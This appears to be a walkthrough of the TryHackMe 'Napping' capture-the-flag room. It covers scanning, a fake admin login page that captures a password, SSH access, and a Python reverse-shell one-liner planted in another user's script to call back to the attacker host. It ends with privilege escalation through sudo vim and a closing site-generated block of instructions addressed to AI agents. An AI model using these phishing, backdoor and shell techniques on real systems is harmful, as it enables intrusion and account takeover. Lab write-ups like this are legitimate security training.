# Napping **Room Link:** ### **Scans** Initial scan **Kali** ``` nmap -A $VICTIM ```
Longer scan **Kali** ``` nmap -sV -sT -O -p 1-65535 $VICTIM ```
## **TCP/80 - HTTP** #### Find Pages **Kali** ``` gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt ```
**Kali** ``` echo "hi" > test.html python2 -m SimpleHTTPServer 82 ```
**red.htm** ``` ``` **redir.html** ``` Login

Admin Login

Please fill in your credentials to login.


``` **Kali** ``` wireshark ``` For victim to download our red.html file **Kali** ``` python2 -m SimpleHTTPServer 82 ``` To host our fake login page **Kali** ``` python2 -m SimpleHTTPServer 8000 ```
**Wireshark filter** ``` tcp.port==8000 && ip.dst == $VICTIM ```
## **TCP/22 - SSH** **Kali** ``` ssh daniel@$VICTIM Password: C@ughtm3napping123 ``` ## Lateral Movement there is another user on this box. In their home directory they have a python script that looks like it checks the website. I added the following to the code to get a reverse shell.
**query.py** ``` import os,pty,socket;s=socket.socket();s.connect(("$KALI",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh") ```
**Kali** ``` nc -lvnp 1338 ```
**Full TTY** ``` script -qc /bin/bash /dev/null ctrl + Z stty raw -echo;fg ``` ## **Privilege Escalation** **Exploit:** **Victim(adrian)** ``` sudo -l ```
**Victim(adrian)** ``` sudo vim -c ':!/bin/sh' id ```
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/napping.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.